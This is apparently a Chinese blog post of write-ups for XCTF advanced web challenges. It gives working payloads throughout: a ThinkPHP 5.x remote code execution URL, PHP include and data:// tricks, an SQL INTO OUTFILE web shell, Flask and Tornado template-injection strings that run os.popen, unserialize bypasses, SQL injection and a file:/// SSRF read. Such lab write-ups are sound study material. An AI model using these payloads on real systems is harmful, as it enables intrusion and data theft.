感觉XCTF这个平台还是8错的,题目量也多质量也还可以,准备后面慢慢刷
新手区还是太简单了。。。这里就不放WriteUp了,直接整进阶区的
平台链接:https://adworld.xctf.org.cn/task
baby_web
Hint:想想初始页面是哪个
打开页面会自动跳转至1.php,尝试输入index.php访问,然后发现302跳转至1.php,然后在302响应头里找到flag:
Training-WWW-Robots
这题。。。已经明示了,访问robots.txt,得到目录/fl0g.php,访问直接拿到flag:cyberpeace{f6c970f5e54f9ddf6964b44b35732dfe}
php_rce
这题一打开是一个ThinkPHP的默认界面:
一开始先试了一下,访问一哈404的目录,发现只是返回正常的404界面;然后给主页加一些乱七八糟的参数,返回了错误,错误中泄露了软件版本(后面发现是我蒙中了s参数):
然后呢。。。就没有然后了,找了半天毛都找不到,robots.txt也没有信息。。。
于是百度,发现ThinkPHP 5.x好多版本都有RCE。。。emmm准备后面专门研究一下ThinkPHP的代码,这里先放一个Payload:
http://111.198.29.45:41137/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name *flag*
通过这些参数执行了Linux的find
指令,找到了flag所在目录/flag,于是执行cat /flag
,拿到flag:
当然肯定不止这种解法,就这都任意文件写入了,直接写个马也是没问题的。
参考资料:ThinkPHP5框架缺陷导致远程命令执行、ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
Web_php_include
源代码已给出:
|
|
这题好多解法的亚子。。。我想到的就有两种,主要思想就是文件包含和任意命令执行。
双写+
php://
伪协议Payload1:
?page=PhP://input
+POST任意PHP命令
Payload2:?page=PhP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
,解码拿到flag
data协议任意命令执行(明文和base64都可)
Payload:
?page=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4=
还有几种方法是看了别人的WriteUp做的,感觉自己脑洞还不够大。。。
phpMyAdmin
御剑可以扫到phpMyAdmin和phpinfo,而且phpMyAdmin没有密码。。。然后直接登进去输入SQL语句实现本地文件包含:
1
select "<?php eval($_POST['evil']);?>" into outfile "/tmp/evil.php";
套娃
这个真的难想。。。绕了半天才想清楚
之前一直忽略了
echo $_GET['hello'];
这行代码,然后发现可以用。。。因为
show_source(__FILE__);
这行代码输出的代码都是经过HTML实体编码的无法被include
识别,而我们可以任意掌控hello
这个参数的值,所以如果使用HTTP协议让page
参数为一个带有hello
参数输出的index.php,那么也可以利用hello
参数进行任意命令执行(前提是php.ini中的allow_url_include
设置为了On
):Payload:
?page=http://localhost/index.php?hello=<?show_source("fl4gisisish3r3.php");?>
warmup
打开首页就一张滑稽图片,然后查看源代码发现source.php,访问拿到源代码:
|
|
先访问一下hint.php,得到flag not here, and flag in ffffllllaaaagggg
于是进行一波代码审计:首先要求传入参数file
不为空且是字符串,然后要让emmm::checkFile($_REQUEST['file'])
函数返回true,就会把file
参数的值include
进来,否则就显示滑稽。
再看emmm::checkFile()
方法:
一共有三个地方可以令这个方法返回true,如果是直接满足第一个条件的话,那我们就无法加其他的东西进去了;后面两个条件是有办法加东西进去的,所以考虑后面两个条件的满足。
截取字符串用了mb_substr()
和mb_strpos()
两个函数来进行,只截取字符串中第一个?
之前的字符进行判断,所以我们就可以在?
后面加入其他的东西,下面是我在本地测试的结果:
我在网站根目录的上一级放了一个只有一个echo
语句的test.php文件,然后网站主页使用source.php的代码。首先在第二个条件进行绕过,令参数file=hint.php?/../../test.php
,发现报错:
然后查了一下资料,发现是?
后面的字符被当成了传入hint.php的参数,而本地文件包含和读取是不允许参数存在的,所以报错。一般情况下,可以通过使用HTTP协议来解决这个问题,但这里显然是不行的。
第二个条件不行,那么尝试满足最后一个条件,把?
进行二次URL编码得到%253f
,令file=hint.php%253f/../../test.php
,发现成功读取到文件:
关于这个包含路径的问题,感觉比较迷,一开始想了半天想不通为什么访问上一级文件夹的内容要两个../
,后来就查了一下,下面是一个解释:
当在字符
/
前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含/
后面的文件——注意是最后一个/
。
但我觉得嘛。。。emmmm这并没有解决我的疑惑,于是我就自己强行理解了一波,也不知道对不对,大佬轻喷:
首先把输入的相对路径拼接成一个绝对路径,如上面的就被拼接成
D:/phpstudy/WWW/hint.php%253f/../../test.php
,于是此时hint.php%253f
就被当成了一个目录,但是PHP先不管它存不存在,而是按照这个逻辑去进行访问,所以D:/phpstudy/WWW/hint.php%253f/../
等价于D:/phpstudy/WWW/
,再返回一次就等同于是根目录的上一级了。
然后就可以做题了,由hint得知flag文件名ffffllllaaaagggg
,所以靠着相对路径一步一步往前摸,最后可以摸到flag:
做完了题又查了一下,发现这个题是phpMyAdmin的一个LFI漏洞:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
NewsCenter
一个最简单的SQL注入,没有任何过滤。。。
首先试探是否存在注入,发现or语句直接出来所有数据:
然后就用SQLMap爆:python sqlmap.py -r 1.txt --dump
NaNNaNNaNNaN-Batman
题目文件:点击下载
文件是个压缩包,解压后得到文件web100,内容如下:
|
|
看着像一段js脚本,于是复制下来一句一句的执行,执行完那个for
循环后拿到一段代码:
|
|
发现这代码会生成一个输入框,然后把输入内容进行正则表达式和长度匹配,全部满足就打印出flag。
观察正则表达式发现,字符串必须以be0f23
开头,以e98aa
结尾,而单纯的把四个正则表达式直接输入进去也是不可行的,因为有长度的限制。但是这些正则表达式之间存在一些重复的字符串,可以合并,合并结果为be0f233ac7be98aa
,把最开始那段代码放在本地运行,然后输入就可以拿到flag:flag{it's_a_h0le_in_0ne}
PHP2
这题打开毛都没有,只有一句话:
Can you anthenticate to this website?
然后就试一下常用的文件名,最后在index.phps找到了源代码:
从别人的WriteUp里面挖来的新知识:phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。 它的MIME类型为:
text/html
,application/x-httpd-php-source
,application/x-httpd-php3-source
。
|
|
然后就很简单了,二次URL编码即可:
unserialize3
这题完全就是明示了,直接通过__wakeup()
的CVE-2016-7124漏洞绕掉,Payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
upload1
这题。。。就一个上传文件的,查看源代码发现只有前端验证扩展名,直接抓包改扩展名,直接挂马:
Web_python_template_injection
这题考的是Python Flask模板注入,大概原理是Flask可以在网页中包含变量,只需要使用{ { } }
包住即可,然后通过调用一些对象的__mro__
和__subclasses__
等一些属性,可以定位到一些可以进行一些骚操作的类,一顿操作之后可以定位到os模块以及File模块等,然后就可以以这种方式进行RCE或者任意文件写入了;还有一种是使用Flask框架内部的一些方法来操作,这个还没有实践过也不是很清楚,后面再做详细的分析吧。
这道题首先用一个脚本,找一下哪里有os模块:
|
|
奇怪的是,如果不导入flask模块,使用Python3无法跑出任何结果,且一些文章里面说到的两个调用了os模块的<class 'site._Printer'>
和<class 'site.Quitter'>
只有在Python2中才能跑出来,不知道是我本地环境的原因还是啥。
后面就直接读取这个类里面的全局变量,调用对应的模块,常用的比如这里的os.popen()
,可以直接返回命令输出结果,用起来还是很方便的。
回到这道题叭。这题的环境里面,可以调用到<class 'site._Printer'>
和<class 'site.Quitter'>
这两个类,所以就更加方便了,直接上Payload:
然后os.popen('ls')
找到flag文件fl4g,再来一哈os.popen('cat fl4g')
轻松拿到flag。
还有一个Payload,是HackBar里面提供的默认Payload,一起放上来做个参考:{ { config.__class__.__init__.__globals__['os'].popen('ls').read() } }
参考文章:https://www.freebuf.com/column/187845.html、https://www.freebuf.com/articles/web/98619.html、https://www.freebuf.com/articles/web/98928.html
Web_php_unserialize
直接给出源代码:
|
|
这题就很简单了,还是绕过__wakeup()
,但是这里还需要绕过一个正则表达式,这个正则表达式过滤了反序列化对象中类似于O:1:
、C:1:
的字符串,看了一下别人的WriteUp,发现对象成员数量可以用+
绕过:
Payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
(注意反序列化对象里面的\x00
字符)
supersqli
这题是一个比较特别的SQL注入,之前没碰到过
一开始先尝试注了一下,发现有错误回显,然后摸到是字符型注入,使用--+
注释可以注入,order by
也可以执行,猜出来表列数为2,但是想用union的时候,发现被过滤了:
由于开了不区分大小写,而且双写也莫得。。。所以这些关键字就没办法绕了,只能想点别的办法
试一下多语句执行,发现可以整:
然后又show columns
了一下,发现flag在1919810931114514
数据表里面,那么接下来就是想办法把数据显示出来。
于是又看了一遍菜鸟SQL教程,发现可以对数据表和数据列改名,那应该把flag的数据表换掉原来的数据表就能成了。
|
|
把这三条放在一个请求里全部执行之后,此时默认读取数据表已经发生了改变,所以直接用1' or 1=1--+
就可以直接拿到flag:
通过这题学到了一种新的SQL注入形式,如果在生产环境下这么搞,然后过滤条件还没这里严谨的话,那删库跑路也不是不可以
easytornado
Hint: Tornado 框架
主页面有三个链接,全部点了一下:
|
|
然后发现参数有filename
以及filehash
,hints.txt下面告知了filehash
的计算方式,flag.txt告知了flag的位置,那么接下来还有一个cookie_secret
没有整出来
然后爬了一下官方文档,发现cookie_secret
是用来给cookie进行签名的,以保证cookie的安全性。同时还发现cookie_secret
存在于Tornado的Web应用对象中的settings
字典里面:
(摘自Tornado框架中文文档) 传递给构造器的附加关键字参数保存在
settings
字典中, 并经常在文档中被称为”application settings”. Settings被用于自定义Tornado的很多方面(虽然在一些情况下, 更丰富的定制可能是通过在RequestHandler
的子类中复写方法). 一些应用程序也喜欢使用settings
字典作为使一些处理程序可以使用应用程序的特定设置的方法, 而无需使用全局变量.cookie_secret
: 被RequestHandler.get_secure_cookie
使用,set_secure_cookie
用来给cookies签名.
由于Tornado也是基于Python开发的,所以同样想到模板注入,随意输入filename摸到一个错误界面,发现msg
参数可控:
然后试了一下传入{ { application.settings } }
,就500了。。。估计做了一些过滤措施叭
然后又翻文档,发现另一个对象RequestHandler
,这个对象是用来处理网站的请求的,在它的构造方法里面,传入了要处理请求的Web应用对象,并且有一个settings
方法,会返回这个application
的settings
:
而且从注释里面看出,Tornado还有一套别名机制,估计是为了方便调用做出来的
(摘自Tornado框架中文文档)
escape
:tornado.escape.xhtml_escape
的别名xhtml_escape
:tornado.escape.xhtml_escape
的别名url_escape
:tornado.escape.url_escape
的别名json_encode
:tornado.escape.json_encode
的别名squeeze
:tornado.escape.squeeze
的别名linkify
:tornado.escape.linkify
的别名datetime
: Pythondatetime
]模块handler
: 当前的RequestHandler
对象request
:handler.request
的别名current_user
:handler.current_user
的别名locale
:handler.locale
的别名_
:handler.locale.translate`的别名static_url
:handler.static_url
的别名xsrf_form_html
:handler.xsrf_form_html
的别名reverse_url
:Application.reverse_url
的别名- 所有从
ui_methods
和ui_modules
Application
设置的条目- 任何传递给
render
或render_string
的关键字参数
RequestHandler
对象有个别名叫handler
,所以是不是可以通过handler.settings
访问到settings
字典呢?理论上行得通,实际上也没错:
拿到了cookie_secret
,接下来使用md5做对应的操作就可以算出/fllllllllllllag对应的filehash值:
|
|
访问?filename=/fllllllllllllag&filehash=361e9154ca34a280ef2d0b28ff5d2319
,拿到flag:flag{3f39aea39db345769397ae895edb9c70}
参考链接:Tornado中文文档、Tornado Documentation
ics-06
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
这题目是一道爆破题,一开始还以为是注入,结果后来才发现不对劲。。。
打卡页面是一个假的管理系统界面,主页只有一张图片,而且侧边栏只有报表中心可以跳转,其他都是假的
访问报表中心来到index.php,有个输入日期的框框,但是查了一下源代码,发现只是个框框,没有提交任何数据给服务器,然后发现id
参数,尝试注入,发现输入任何非数字参数都会直接跳转至id=1
,而输入数字则不会。
然后就想到爆破:
lottery
一个代码审计题,打开是一个买彩票的游戏界面,主页介绍了游戏规则,使用一个用户名就可以创建一个账户,然后给你20块,只要赢了9990000块就可以买flag了
附件:点击下载
一开始先玩了一下,果然一下子把钱输完了……然后看源代码,发现生成彩票号码和确认是否中奖的代码逻辑在api.php中:
这是彩票的中奖数字生成算法,用了一个没有见过的随机字节串生成函数openssl_random_pseudo_bytes()
,用的是强加密算法,PHP文档里面这么解释的:
openssl_random_pseudo_bytes ( int
$length
[, bool&$crypto_strong
] ) : string生成一个伪随机字节串 string ,字节数由
length
参数指定。通过
crypto_strong
参数可以表示在生成随机字节的过程中是否使用了强加密算法。返回值为FALSE
的情况很少见,但已损坏或老化的有些系统上会出现。
整个生成算法大概就是:生成一个10字节的随机串,然后取了对应的ASCII码,当其小于250时就除以25,然后向下取整,说白了就是生成一个0~9的随机数。
再看看中奖算法:
|
|
可以看见有个for
循环,逐字符的检查输入值和彩票值是否匹配,但是用的是==
弱类型比较,所以。。。尝试传入别的类型的数据使得条件恒成立试试:
抓包:
我把numbers参数的值从字符串改成了一个布尔数组,这样传进去的话$numbers = $req['numbers'];
这句得到的就是一个布尔数组,循环里面每次比较都是"数字"==true
,虽然有0的情况出现,但至少中奖几率大了很多啊。
多搞了几次,成功拿到几千万,然后去买flag:
mfw
这题做过原题了,传送门
web2
|
|
这题超简单,逆向一下算法就行
稍微理一下算法流程:
- 字符串反向
- 每个字符的ASCII码+1
- base64
- 字符串反向
- rot13
把这个流程反过来就能输出明文:
|
|
输出flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
shrine
这题是Flask/Jinja2 SSTI,打开直接拿源代码:
|
|
很容易发现/shrine
目录下存在模板注入,但是有一些限制,safe_jinja()
函数过滤了括号和关键字config
、self
,然后flag在app.config
下。
尝试访问/shrine/{{4*4}}
,输出为16,说明确实有注入。接下来就是想办法拿到app.config
的内容。首先过滤了括号,找父类object
再找子类调用模块肯定不行了,得想别的办法。
查资料得知可以通过寻找current_app
对象来拿到app.config
,还可以通过app
对象的__dict__
属性来列出config
信息。
此时可用的上下文或函数有url_for
, g
, request
, namespace
, lipsum
, range
, session
, dict
, get_flashed_messages
, cycler
, joiner
, config
,而此时config
肯定不能直接用,于是试着找它们的全局变量__globals__
,发现url_for
和get_flashed_messages
的全局变量里面有current_app
对象:
然后构造Payloadurl_for.__globals__['current_app'].config['FLAG']
和``get_flashed_messages.globals[‘current_app’].config[‘FLAG’]`就能拿到flag。
另一个思路,app
对象的__dict__
属性,可以通过调用模块sys
找到:app.__init__.__globals__.sys.modules.app.app.__dict__.config['FLAG']
然后找了半天,又发现了另一个思路:通过递归查找request
对象的属性和函数找到config
,传送门https://ctftime.org/writeup/10851。这个代码不是很看得懂(Python是真的菜),但是稍微改了一下代码,令其显示所有结果,但是还是只有这一个request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']
,估计只找到了这一个。
再总结一下Jinja2的SSTI中拿config
的方法:
__class__, __base__, __mro__, __subclasses()
调用模块url_for、get_flashed_messages
等函数/属性的全局变量sys
模块中找app.__dict__
参考资料: https://www.cnblogs.com/wangtanzhi/p/12238779.html、 https://www.cnblogs.com/20175211lyz/p/11425368.html、 https://ctftime.org/writeup/10851、 https://glarcy.github.io/2019/03/11/SSTI模板注入/、 https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/
fakebook
一开始看见login,以为登录框有SQL注入,然后点join,输入信息后就可以在网站里面添加一条数据。
点击用户名,来到/view.php?no=1
,然后又感觉这里也可以注入,先对login测了一下,发现好像莫得注,然后对这里试了一下no=1'
,发现报错。
然后就是一阵愉快的union select
,然后发现对空格做了过滤,尝试注释绕过,成功:
接下来就用SQLmap去跑,发现怎么都弄不下来数据,所以只能手工注了:爆出字段no
,username
,passwd
,data
,前三个数据就是在join输入的数据,只有data
,是一段序列化对象:
然后看了以下正常的网页源码,加载Blog内容的地方有一个iframe,src里面是一段base64,于是猜能不能改变这个参数来读文件,尝试改变blog参数为file:///var/www/html/view.php
,直接丢到union select
里面去,发现源码里面的iframe src变长了,一解码直接拿到源码:
于是通过这个可以顺藤摸瓜拿到所有代码,拿到user.php
中发现读取blog内容靠的是curl
,也就难怪可以使用file:///
协议读取了。(后来看WriteUp发现robots.txt直接给了user.php
的备份文件)
|
|
然后尝试读一下flag.php
(别问 问就是猜),就拿到了flag:
FlatScience
在这题第一次接触SQLite的注入,感觉比MySQL的简单一点点
打开页面显示的是一个教授的个人网站的半成品,说是里面有一些他写的论文,然后附了几个链接,全部点了一遍,除了PDF的其他链接都是在来回跳转,没有什么信息。
然后在robots.txt
里面发现/login.php
和/admin.php
。
访问/admin.php
源代码提示<!-- do not even try to bypass this -->
,估计是没有注入。访问/login.php
,源代码中发现提示GET参数debug,请求后返回源码:
|
|
看着应该有一个SQLite的注入。百度一下发现SQLite里面也有一个系统表sqlite_master
,其结构看起来如下:
|
|
也就是说可以通过type和name来读数据表的信息,因为可以直接读到创建表的SQL语句,所以相当于也可以拿到列信息。尝试union,就拿到了所有数据表的SQL语句(这里只有一个Users)
Users表有id
、name
、password
、hint
4列,也可以分别读出来,Payload:0' union select id,group_concat(password) from Users--+
读到Users表的数据如下:
id | name | password | hint |
---|---|---|---|
1 | admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |
2 | fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | my love is鈥�? |
3 | hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | the password is password |
拿password里面3个md5值去解密,发现只有admin的解的出:
正好admin.php
里面用户名默认也给的admin,于是尝试密码ThinJerboa
,直接拿到flag:
当然还有hint没用,我觉得这肯定不是出题者的本意,看了hint发现my fav word in my fav paper?!
,是不是意味着这个单词可能藏在那些论文里面呢?
于是就一个一个下载下来(后来发现用wget直接递归下载wget http://xxxxxx/ -r -np -nd -A .pdf
),然后接下来就是读PDF中的单词,把配合字符串"Salz!"
输出的sha1值去和password
比对。
看了一眼别人的WriteUp,都用的Python2,而且我跑出来还报错。。。于是查了一下自己写了一个Python3的,用的是pdfplumber
模块,用起来还算简单。
都贴一下吧:
|
|
然后跑了一下脚本,也能拿到这个单词ThinJerboa
。